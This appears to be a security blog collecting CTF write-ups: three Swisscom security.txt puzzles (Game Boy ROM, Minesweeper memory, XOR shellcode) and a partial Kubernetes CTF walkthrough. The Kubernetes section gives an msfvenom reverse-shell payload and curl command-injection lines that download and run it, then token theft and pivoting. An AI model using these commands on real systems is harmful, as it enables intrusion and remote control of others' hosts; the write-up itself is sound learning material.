2024 Swisscom security.txt Challenge Writeup

For the last couple of years, I've been planting a CTF-like challenge as an easter egg in Swisscom's security.txt file (RFC 9116). The current challenge is here: https://www.swisscom.ch/.well-known/security.txt. All challenges are also archived on Github: https://github.com/swisscom/securitytxt. I thought it was about time to provide the solutions to the past challenges. You can find the writeup for 2023 and 2022 in my last posts here and here. Now let's continue with year 2024. You were given the following string:

aHR0cHM6Ly9naXRodWIuY29tL3N3aXNzY29tL3NlY3VyaXR5d
Hh0L2Jsb2IvbWFzdGVyL2NoYWxsZW5nZXMvMjAyNC5nYg==

As in the 2022 challenge, experienced blue teamers will quickly recognize the Base64 encoding as well as guess it's a URL, judging from the prefix. The decoded value links to a file named 2024.gb on the Swisscom github repository. A quick identification using the linux file command tells us it's a Nintendo Game Boy ROM:

$ file 2024.gb
2024.gb: Game Boy ROM image: "DEBRUIJN" (Rev.01) [ROM ONLY], ROM: 256Kbit

There is a myriad of Game Boy emulators to run the ROM on, here are only a few suggestions:

• Emulicious multi-system emulator written in Java for Windows, Linux, MacOS, which provides nice debugging capabilities
  
• GameBoy Online emulator written in Javascript that you can run off your browser
  
• MAME (Multi Arcade Machine Emulator), the mother of all emulators
  

Here are some screenshots of the results, running on the different emulators. The screen shows an electronic circuit composed of a PIN-pad, a 4-digit 7-segment display, some ICs labeled PBKDF2, ROM, AES and VRAM.

Using the Game Boy's D-pad, you can move a cursor over the digits of the PIN-pad. When pressing the A or B button, the digit under the cursor will be left-shifted on the 7-segment display. The START button changes the screen to something, which looks like static from an old TV set. Pressing START again will restore the initial screen. One can repeat the operation and notice, that the static pattern changes for every value in the 7-segment display. However, the pattern is not totally random, it seems to have a repeated cycle and you can almost discern letters in the middle, which reminds of the ECB pinguin.

Therefore, the solution of the challenge seems to be a 4-digit combination, which will unlock the second screen. Initial guesses like for example 1234, 1337, or 4711 all fail, so there must be more to it. There are two obvious strategies to solve this crackme:

1. Reverse-engineering the ROM image, to analyse the encryption mechanism
   
2. Or, due to the limited numbers of combinations, brute-force all 10'000 PINs

I will opt for the latter. To implement the brute-force strategy, we need a scriptable emulator, that allows for automation of the PIN-pad inputs, and validation of the resulting screen. After some online search, the choice quickly falls on PyBoy, a Game Boy emulator written in Python, which provides an application programming interface (API). PyBoy is a very interesting project that is also used to build AIs for speedrunning.

After getting familiar with the API by studying the provided examples and the documentation, we'll need to implement some basic blocks to interact with the game elements:

• The function move_to(target_digit) is used to move the cursor from the current position to the specified target digit using the shortest path. Note that the * and # keys are not reachable, therefore, some care needs to be taken for key 0, either as source or destination, since it lies in-between.
• We need to keep track of the 4-digits of the 7-segment display. The current value is stored in the shift_reg array and the shift(n) function is used to insert a new digit.
• Timing is important when pressing buttons, as the triggered operations will require a different number of CPU cycles (called ticks in PyBoy). We need to identify the least number of ticks for each operation in order to optimize the individual PIN validation cycle. 

Using these primitives, we can now proceed with the actual brute force logic. The obvious approach is to iterate through the whole range of 4-digit PINs, starting from 0000, 0001, 0002, ..., until we finally reach 9999. This means that for every iteration, we feed 4 digits into the shift register, check the screen output, and repeat. However, there's a faster way. Remember the output of the file command? The ROM is titled DEBRUIJN, after the Dutch mathematician, famously known for the de Bruijn sequence:

A de Bruijn sequence is a cyclic sequence that contains every possible combination of a given set of symbols (like 0s and 1s) of a certain length exactly once. For example, for binary symbols and combinations of length 2, the sequence "0011" works because it includes all pairs—00, 01, 10, 11—without repetition. It's used in areas like computer science, data compression, and DNA sequencing because it efficiently encodes all possible combinations in the shortest way possible.

Other applications of de Bruijn in cyber security are for example: Depixelization, hacking garage doors, or finding the offset for overflow exploits. We will need the sequence of order 4 over the digits 0-9. I used the Python code from Wikipedia for this. This will reduce each iteration to feeding only 1 digit into the shift register before checking the screen output.

The last task remains: how can we actually identify the "right" screen output? In a straightforward approach, we could just simply take a screenshot of the result of every iteration, the filename being the current PIN. Visual review of the 10k screenshots as thumbnails will only take a couple of minutes. On the other hand, we can assume that the right screen will not be scrambled, meaning it has less entropy than all wrong screens. Hence, we only need to keep track of the screen with the least entropy, saving lots of inodes on the way.

You can find the Python code on my Github repo, it takes less than 2 mins to solve the challenge on a generic laptop.

 

The first 10 people who wrote a message to the e-mail address with the solution received some Swisscom swag as a reward. Note: the e-mail address was chosen as a reference to the 1999 hacker/cyberpunk movie The Matrix, following the nomenclature of the meeting rooms in the Swisscom Cyber Defence offices. Any other references are explicitly excluded.

2023 Swisscom security.txt Challenge Writeup

For the last couple of years, I've been planting a CTF-like challenge as an easter egg in Swisscom's security.txt file (RFC 9116). The current challenge is here: https://www.swisscom.ch/.well-known/security.txt. All challenges are also archived on Github: https://github.com/swisscom/securitytxt. I thought it was about time to provide the solutions to the past challenges. You can find the writeup for 2022 in my last post. Now let's continue with year 2023. You were given the following string: 

aHR0cHM6Ly9pbWd1ci5jb20vYS9kaFlkUXpq

Experienced blue teamers will quickly recognize the Base64 encoding as well as guess it's a URL, judging from the prefix. The decoded value is indeed a link to the following image on the image sharing platform imgur:

It's a screenshot of Microsoft Minesweeper featuring some bizarre content in the game field. The way the tiles are arranged certainly does not represent an achievable game state. The image also contains an MD5 hash 9C45D38B74634C9DED60BEC640C5C3CA. Using it, we can find references to the winmine.exe binary on VirusTotal or on The Internet Archive. This is the version of minesweeper which was was originally shipped with Windows XP in 2001. You can download the binary and make sure it matches the given MD5 hash:

Ok, so now we need to make some guesses and assumptions. We are eventually looking for a flag, a secret text, to solve the challenge. If we look at the game field, we see that the tiles are arranged on three lines. The different tiles might map to characters that form words. We will first need to understand how the game field and the tiles are represented in memory. It's safe to assume, that we'll be dealing with a 2-dimensional array of elements. However, note that the game allows to customize the dimensions. By default (beginner mode), it's a 9x9 field. In the screenshot, we have 9x21.

To better understand the inner workings of the program, we are going to proceed with a debugger for dynamic analysis. For this, I can highly recommend the open source x64dbg (you'll need to use the 32bit version, though), or if want to hack like it's 2001, you can also use Immunity Debugger or OllyDbg. First, we need identify the memory region of the game field. For this, we are going to exploit a cheat/easteregg, which - fun fact - already existed in previous Windows 3.1 versions of Minesweeper:

Type XYZZY and press [Shift][Enter]. The top left pixel on your screen will become white but turn black when your mouse is above a mine.

This will use the SetPixel() Windows API call provided in GDI32.dll, the Windows Graphics Device Interface. This is likely the only place the application will use this call, since it will rely on other, more abstract API calls to render all of the game elements instead. Run Minesweeper in the debugger, continue execution past the initial/default breakpoints, and apply the cheatcode. In the executable modules, look for the SetPixel symbol, listed as an export in gdi32.dll and set a breakpoint accordingly.

Now, hovering the cursor above a mine will trigger the breakpoint on the SetPixel() call. Going one step down the call stack, we can identify how the arguments are computed in the caller:

• hDC: is the return value of the previous call to GetDC (this value is irrelevant)
  
• X and Y: both originate from EDI, which has value 0. This confirms that we are setting the topmost/lefmost pixel of the screen.
• Color: will be either 0x00000000 (black) or 0x00ffffff (white), depending on the value of EAX, which is the result of a computation involving a memory value at address 0x01005340.
  

By inspecting the memory values starting at memory address 0x01005340, we realize that there is a link to the displayed tiles on the game field. By editing the values in memory and some trial and error, we can start to understand the underlying layout. Starting at an offset of 32 bytes (at address 0x01005360), we can manipulate the displayed tiles by changing the bytes values:

After some exploration, we can devise that each row of the game field is stored using 32 bytes. As the game's dimensions can be changed, the actual fields are surrounded by "guard" values (0x10) each as top/bottom rows and left/right columns. The values depicted as XX below represent the actual tiles. The remaining values (0x0F) are just padding.

0x01005340: 0x10 0x10 0x10  0x10 0x10 0x10 0x10 ... 0x10
0x01005360: 0x10 XX XX XX ... XX 0x10 0x0F 0x0F ... 0x0F
0x01005380: 0x10 XX XX XX ... XX 0x10 0x0F 0x0F ... 0x0F
...
0x01005460: 0x10 XX XX XX ... XX 0x10 0x0F 0x0F ... 0x0F
0x01005480: 0x10 0x10 0x10  0x10 0x10 0x10 0x10 ... 0x10

In our case, using dimensions 9x21, the first row spans from memory addresses 0x01005361 to 0x01005375, the second row from 0x01005381 to 0x01005395, and so on, until the last row at addresses 0x01005461 to 0x01005475. By the way: all mentioned addresses will work for you as well, since winmine.exe does not support address space layout randomization (ASLR).

After we located the memory region, we still need to understand the mapping of bytes to tiles. For that, let's write a PyCommand for Immunity Debugger to fill out all possible values in the range 0-255 in memory:

There are two interesting observations:

1. Even rows have a repeating pattern
2. Odd rows are blank

From the first observation, we can derive that the different tile faces are represented using the 4 least significant bits. From the second observation, we derive that the 5th bit is a "blank" flag. Next is a mapping of printable ASCII characters to the corresponding tile faces. Due to the "blank" flag, only letters A-O can be recovered, and due to the repeating pattern, the mapping is ambiguous, e.g. the "Bomb with x" is either the + sign, or the letter k/K (fortunately, ASCII was designed such that uppercase and lowercase letters differ only in the 6th bit, which make them map to the same tile).

| Decimal | Binary    | Character | Tile Face       |
|---------|-----------|-----------|-----------------|
| 32      | 0100000   | Space     | Empty           |
| 33      | 0100001   | !         | 1               |
| 34      | 0100010   | "         | 2               |
| 35      | 0100011   | #         | 3               |
| 36      | 0100100   | $         | 4               |
| 37      | 0100101   | %         | 5               |
| 38      | 0100110   | &         | 6               |
| 39      | 0100111   | '         | 7               |
| 40      | 0101000   | (         | 8               |
| 41      | 0101001   | )         | Clicked ?       |
| 42      | 0101010   | *         | Black bomb      |
| 43      | 0101011   | +         | Bomb with x     |
| 44      | 0101100   | ,         | Bomb red bg     |
| 45      | 0101101   | -         | Unclicked ?     |
| 46      | 0101110   | .         | Flag            |
| 47      | 0101111   | /         | Unclicked Empty |
| 64      | 1000000   | @         | Empty           |
| 65      | 1000001   | A         | 1               |
| 66      | 1000010   | B         | 2               |
| 67      | 1000011   | C         | 3               |
| 68      | 1000100   | D         | 4               |
| 69      | 1000101   | E         | 5               |
| 70      | 1000110   | F         | 6               |
| 71      | 1000111   | G         | 7               |
| 72      | 1001000   | H         | 8               |
| 73      | 1001001   | I         | Clicked ?       |
| 74      | 1001010   | J         | Black bomb      |
| 75      | 1001011   | K         | Bomb with x     |
| 76      | 1001100   | L         | Bomb red bg     |
| 77      | 1001101   | M         | Unclicked ?     |
| 78      | 1001110   | N         | Flag            |
| 79      | 1001111   | O         | Unclicked Empty |
| 96      | 1100000   | `         | Empty           |
| 97      | 1100001   | a         | 1               |
| 98      | 1100010   | b         | 2               |
| 99      | 1100011   | c         | 3               |
| 100     | 1100100   | d         | 4               |
| 101     | 1100101   | e         | 5               |
| 102     | 1100110   | f         | 6               |
| 103     | 1100111   | g         | 7               |
| 104     | 1101000   | h         | 8               |
| 105     | 1101001   | i         | Clicked ?       |
| 106     | 1101010   | j         | Black bomb      |
| 107     | 1101011   | k         | Bomb with x     |
| 108     | 1101100   | l         | Bomb red bg     |
| 109     | 1101101   | m         | Unclicked ?     |
| 110     | 1101110   | n         | Flag            |
| 111     | 1101111   | o         | Unclicked Empty | |---------|-----------|-----------|-----------------|

Using this mapping, we can recover parts of the text. Every _ is then either a space, @, a backtick (`) or one of the letters P-Z:

GOOD_JOB!
_END_EMAIL__O
_ED._ILL___I__COM.COM

The first 10 people who wrote a message to the e-mail address received some Swisscom swag as a reward. Note: the e-mail address was chosen as a reference to the 1999 hacker/cyberpunk movie The Matrix, following the nomenclature of the meeting rooms in the Swisscom Cyber Defence offices. Any other references are explicitly excluded.

I hope you enjoyed solving this challenge. I got my inspiration for it after viewing the following video by jeFF0Falltrades: Reverse Engineering and Weaponizing XP Solitaire (Mini-Course).

Finally, here are some additional links and resources about Minesweeper you might enjoy:

• The notorius mimikatz has a cheat module for minesweeper, however it only applies to newer versions of the game. A previous mimikatz version targeting the WinXP winmine.exe can still be found in meterpreter. If you want to use it in native mimikatz, I retro-ported the code here: mimikatz-winmine.
• The winmine source code leaked in 2004 together with the Windows NT 4.0 and Windows 2000 source code. It's fun to read.
  

2022 Swisscom security.txt Challenge Writeup

For the last couple of years, I've been planting a CTF-like challenge as an easter egg in Swisscom's security.txt file (RFC 9116). The current challenge is here: https://www.swisscom.ch/.well-known/security.txt. All challenges are also archived on Github: https://github.com/swisscom/securitytxt. I thought it was about time to provide the solutions to the past challenges, so let's start with year 2022. You were given the following string:

48b8d8cfce84dac3c6c648890748b8ea
d9ddc3d9d9c9c54889470848b8c784c9
c5c7000000488947104831c98a040f34
aa88040f48ffc14883f91575ef

Given the composition of characters 0-9, a-f and the even length, it is safe to assume that it is hex-encoding. Interpreting the values is a bit harder though, it's probably not text, since there are many values outside of the range of ASCII printable characters (0x33 to 0x7e). So, some guessing is needed here (CyberChef is your friend), or you can also ask ChatGPT:

Please provide a concise answer. What does this hex represent? 48b8...5ef

This hex string represents x86-64 machine code (assembly instructions) for a specific program or function. To understand exactly what it does, it would need to be disassembled, revealing the instructions it corresponds to. It may include operations such as moving values to registers, arithmetic operations, or system calls.

Let's go ahead and analyse the machine code in a disassembler. Here's the output of the following CyberChef recipe:

Let's break down the code. Instructions in the violet box (addresses 0x00 to 0x25) are loading a total of 24 bytes into memory at an address stored in RDI (the exact address is unknown). The pattern to load a constant 64-bit (8 byte) value repeats three times:

• Load an immediate value into register RAX
• Store the value in RAX to the memory address stored in [RDI + offset]

Note that x86-64 uses little-endian format, therefore the resulting memory content at address referred by RDI is:

RDI+00    D8 CF CE 84 DA C3 C6 C6
RDI+08    EA D9 DD C3 D9 D9 C9 C5
RDI+16    C7 84 C9 C5 C7 00 00 00

Moving on, let's look at the instructions in the orange box (addresses 0x29 to 0x3b). This code iterates over 21 bytes in memory (from [RDI] to [RDI+20]), XOR-ing each byte with the value 0xaa (binary b10101010). Let's look at the instructions in detail:

• XOR RCX, RCX: Clears RCX (sets it to 0). RCX will be used as the loop counter
• MOV AL, BYTE PTR [RDI+RCX]: Load a byte from the memory address RDI with offset RCX into the low byte of RAX (AL)
• XOR AL, AA: Perform an XOR operation between the byte in AL and the immediate value 0xaa
• MOV BYTE PTR [RDI+RCX], AL: Write the result of the XOR operation back to memory address RDI at offset RCX.
• CMP RCX, 0x15: Compare the current loop counter (ECX) with value 21 (decimal) 
• JNE 0x2c: If the loop counter (RCX) is not equal to 21, jump back to the instruction at address 0x2c, which is where the XOR loop starts.

Note that the last instruction JNE (jump not equal/zero) is encoded as 75ef, which represents a short jump, i.e. a relative jump of -17 bytes from the current instruction pointer (EIP, address 0x3d). The resulting jump address is 0x2c. So the code is actually position independent.

After processing the XOR-loop the memory content is set as follows:

RDI+00  72 65 64 2e 70 69 6c 6c  |red.pill|
RDI+08  40 73 77 69 73 73 63 6f  |@swissco|
RDI+16  6d 2e 63 6f 6d 00 00 00  |m.com...|

The first 10 people who wrote a message to this e-mail address received some Swisscom swag as a reward. Note: the e-mail address was chosen as a reference to the 1999 hacker/cyberpunk movie The Matrix, following the nomenclature of the meeting rooms in the Swisscom Cyber Defence offices. Any other references are explicitly excluded.

k8s-challenge.redguard.ch

This year's (2024) Area41 security conference was amazing as always. One of the sponsors, Redguard AG announced a Kubernetes CTF challenge to be solved during the conference. My k8s knowledge being very limited, and the offered prizes looking awesome, I decided to take my chances. Unfortunately, I gave up before achieving the solution, because it had already stolen too much sleep. I still wanted to document the process to capture the gained knowledge for later reference.

 

 After registering with my address on the challenge page, I received the following instructions by email:

Your Kubernetes Challenge instance is now available at the following IP address: xxx.xxx.xxx.xxx.

Point your /etc/hosts for hello-world.tld to xxx.xxx.xxx.xxx. After you've done this "https://hello-world.tld/" will be your starting point.

Try to get full access to the master node and if you've found the flag at the end of the challenge (look for /root/flag.txt), please submit it at https://k8s-challenge.redguard.ch/flag?email=cookie@monster.com

Best of luck!

The Redguard Team

Reconnaissance 

I first performed a port scan using nmap to identify any exposed services on the target system. Several ports exposed a TLS connection. Their X.509 certificate attributes contained interesting information about the internal network setup. It's obviously a minikube setup with two nodes: 192.168.49.2 and 192.168.49.3, which I assumed to be the master node (the final target) and a worker node respectively.

The Kubernetes API seems to be exposed on port 32769, but access is protected:

Exploitation

After setting up Burp Suite with a hostname resolution override for hello-world.tld pointing to the specified IP address, I visited the target on port 443, which already provided the first hint:

 

I guessed that the author published a Docker image on dockerhub, by the name of disenchant/vulnerable-app-demo.

After pulling and running the image on my local Docker server, the vulnerability (aka backdoor) was easily identified in the index.php file. The code provides an OS command injection via the shell parameter.

I decided to dust off my Metasploit skills and to use a reverse_tcp meterpreter to gain initial access on the target system:

# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -f elf > reverse.elf

I provided the binary on my attacking host with an ad-hoc web server using the Python http.server module:

# python3 -m http.server

Then, using the curl in the command injection, we can download the payload and make it executable:

# curl -k https://hello-world.tld/?shell=curl%20-o%2Ftmp%2Freverse.elf%20http%3A%2F%2Fxxx.xxx.xxx.xxx%2Freverse.elf

# curl -k https://hello-world.tld/?shell=chmod%20755%20%2Ftmp%2Freverse.elf

On the attacker side, start the Metasploit exploit/multi/handler module and then run the payload on the target to make it call home:

# curl -k https://hello-world.tld/?shell=%2Ftmp%2Freverse.elf

Post-Exploitation

restricted-viewer @ vulnerable-app-demo

Once on the host, let's look around at what we can find:

 

In addition, running linpeas gives a good overview of all interesting artifacts. For example, we could already identify the Kubernetes environment variables:

KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1

The script also provided the location of the serviceaccount token under /run/secrets/kubernetes.io/serviceaccount/token. This will allow us to authenticate against the Kubernetes API. I downloaded the kubectl to work with the API from the command line. We can now query the identity and permissions of this first serviceaccount token.

 

The serviceaccount is named restricted-viewer, and as it describes, it only allows to list the namespaces, nodes and pods:

 

Here's another hint, that we might look at the other namespaces as well. We now discover, that the serviceaccount has additional permissions to see the logs in the jobs namespace.

 

The jobs namespace contains pods that will repeatedly execute a certain task. Let's see if we can find anything out from the logs, since we are allowed to list them:

Bingo, we got some credentials! 

pod-executer @ openssh-server

Now let's try and connect to this machine. Unfortunately, the shell provided by metasploit does not offer a full terminal emulation. Also, the www-data user from the nginx pod does not have write privileges in the home directory, which ssh requires by default to write the known_hosts file in the .ssh directory. Therefore, I catched up about pivoting with Metasploit, and created a SOCKS5 proxy that I used to connect from my attacker machine.

 

Now we see that with this new serviceaccount token, we have new permissions to execute commands in existing pods:

 

This is where we get the third serviceaccount token:

 

pod-creator @ evil-pod

This is becoming interesting, the serviceaccount now gets permissions to create new pods.

 

 

Now this is where my trail ended. I tried to escape from the pod by creating a malicious yaml that will mount the node filesystem in the container. However, due to the enforced Pod Security policy, I was not able to break out of the pod and to gain access to the node. 

So that's it, I hope you enjoyed the write-up, although it's not complete. I sure did learn a lot about Kubernetes :-) Many thanks to RedGuard / Disenchant for this opportunity!